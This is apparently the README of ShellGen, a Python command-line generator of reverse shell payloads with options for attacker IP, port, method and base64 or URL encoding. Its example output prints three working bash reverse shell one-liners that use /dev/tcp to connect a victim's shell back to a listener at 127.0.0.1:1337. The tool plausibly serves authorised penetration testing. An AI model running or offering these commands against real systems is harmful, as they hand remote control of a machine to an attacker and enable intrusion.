ShellGen is a CLI, reverse shell generator made in python. Currently supports 20 different shell methods, base64 and url encoding.
I got the idea for this tool from revshells.com and made a smaller CLI version
usage: shellgen.py [-h] [-i <attacker ip>] [-p <attacker port>] [-m method to use] [-l] [-b] [-u]
optional arguments:
-h, --help show this help message and exit
-i <attacker ip> Attacker ip address to receive the connection back from victim machine. Default = 127.0.0.1
-p <attacker port> Attacker port to listen on. Default = 1337
-m method to use A comma seperated list of reverse shell methods. Default is bash
-l List available methods for reverse shells
-b Base64 encode the reverse shell output
-u Url encode the reverse shell output
Examples
basic usage uses the three default methods, bash, python3, and nc default ip 127.0.0.1 and default port l337
python3 shellgen.py
# No method specified with -m! Using defalt method of bash
bash:
bash -i >& /dev/tcp/127.0.0.1/1337 0>&1
0<&196;exec 196<>/dev/tcp/127.0.0.1/1337; bash <&196 >&196 2>&196
exec 5<>/dev/tcp/127.0.0.1/1337;cat <&5 | while read line; do $line 2>&5 >&5; done